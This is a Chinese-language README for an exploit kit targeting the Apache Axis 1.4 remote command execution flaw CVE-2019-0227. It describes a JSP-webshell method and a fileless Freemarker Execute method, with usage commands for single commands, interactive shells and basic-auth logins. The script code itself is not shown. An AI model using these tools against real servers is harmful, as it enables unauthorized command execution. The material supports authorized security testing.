Apache Axis1.4 中存在一个远程命令执行漏洞(CVE-2019-0227)。当 enableRemoteAdmin 属性设置为 true 时,攻击者可以通过 AdminService 接口部署恶意服务,从而在目标服务器上执行任意系统命令。
影响版本:Apache Axis ≤ 1.4
触发条件:enableRemoteAdmin 设置为 true
| 方式 | 脚本 | 原理 | 是否写文件 | 隐蔽性 |
|---|---|---|---|---|
| 方式一:JSP Webshell | jsp-webshell/axis_exp.py | 通过 LogHandler 写入 JSP Webshell | ✅ 会写文件 | 低 |
| 方式二:Freemarker 直接执行 | freemarker-exec/axis_freemarker_exp.py | 直接调用 Freemarker Execute 类执行命令 | ❌ 不写文件 | 高 |
cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"
cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"
pip install requests urllib3
Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│ ├── axis_exp.py
│ └── README.md
└── freemarker-exec/
├── axis_freemarker_exp.py
└── README.md
本工具仅用于安全研究和授权测试。未经授权使用本工具攻击目标系统属于违法行为,使用者自行承担一切法律责任。
MIT License
## 📝 子目录 README(jsp-webshell/README.md)
通过 Axis AdminService 部署恶意服务,利用 LogHandler 写入 JSP Webshell,然后通过 GET 请求执行命令。
部署恶意服务 → LogHandler 写入 shell.jsp → GET 请求执行命令
# 执行单条命令
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# 交互式 Shell
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# 带认证
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
## 📝 子目录 README(freemarker-exec/README.md)
通过 Axis AdminService 部署指向 freemarker.template.utility.Execute 类的服务,直接调用其 exec 方法执行系统命令,不写入任何文件。
部署 Execute 服务 → 直接调用 exec 方法 → 命令执行结果通过 SOAP 响应返回
WEB-INF/lib/ 目录下存在 freemarker.jar(Axis 1.4 默认自带)# 执行单条命令
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# 交互式 Shell
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# 带认证
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| 参数 | 说明 |
|---|
-u, --url | 目标 Axis 服务地址 |
-c, --command | 执行单条命令 |
-i, --interactive | 交互式 Shell 模式 |
-U, --username | Basic 认证用户名 |
-P, --password | Basic 认证密码 |
| 参数 | 说明 |
|---|
-u, --url | 目标 Axis 服务地址 |
-c, --command | 执行单条命令 |
-i, --interactive | 交互式 Shell 模式 |
-U, --username | Basic 认证用户名 |
-P, --password | Basic 认证密码 |